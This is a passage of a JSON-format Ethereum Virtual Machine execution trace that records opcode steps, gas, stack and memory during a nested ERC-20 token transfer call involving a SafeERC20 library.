dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8235,"op":"MUL","gas":28614,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8236,"op":"SWAP1","gas":28609,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0xd02ab486cedc0000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8237,"op":"JUMP","gas":28606,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc0c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3084,"op":"JUMPDEST","gas":28598,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3085,"op":"PUSH2","gas":28597,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3088,"op":"DUP7","gas":28594,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3089,"op":"PUSH2","gas":28591,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3092,"op":"PUSH2","gas":28588,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3095,"op":"JUMP","gas":28585,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x200f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8207,"op":"JUMPDEST","gas":28577,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8208,"op":"PUSH1","gas":28576,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8210,"op":"DUP2","gas":28573,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8211,"op":"PUSH1","gas":28570,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8213,"op":"NOT","gas":28567,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8214,"op":"DIV","gas":28564,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x3e8","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8215,"op":"DUP4","gas":28559,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x4189374bc6a7ef9db22d0e5604189374bc6a7ef9db22d0e5604189374bc6a7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8216,"op":"GT","gas":28556,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x4189374bc6a7ef9db22d0e5604189374bc6a7ef9db22d0e5604189374bc6a7","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8217,"op":"DUP3","gas":28553,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8218,"op":"ISZERO","gas":28550,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x0","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8219,"op":"ISZERO","gas":28547,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8220,"op":"AND","gas":28544,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8221,"op":"ISZERO","gas":28541,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8222,"op":"PUSH2","gas":28538,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8225,"op":"JUMPI","gas":28535,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xd02ab486cedc0000","0xc18","0x2bda9a60795e41856a32","0x3e8","0x0","0x1","0x2029"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000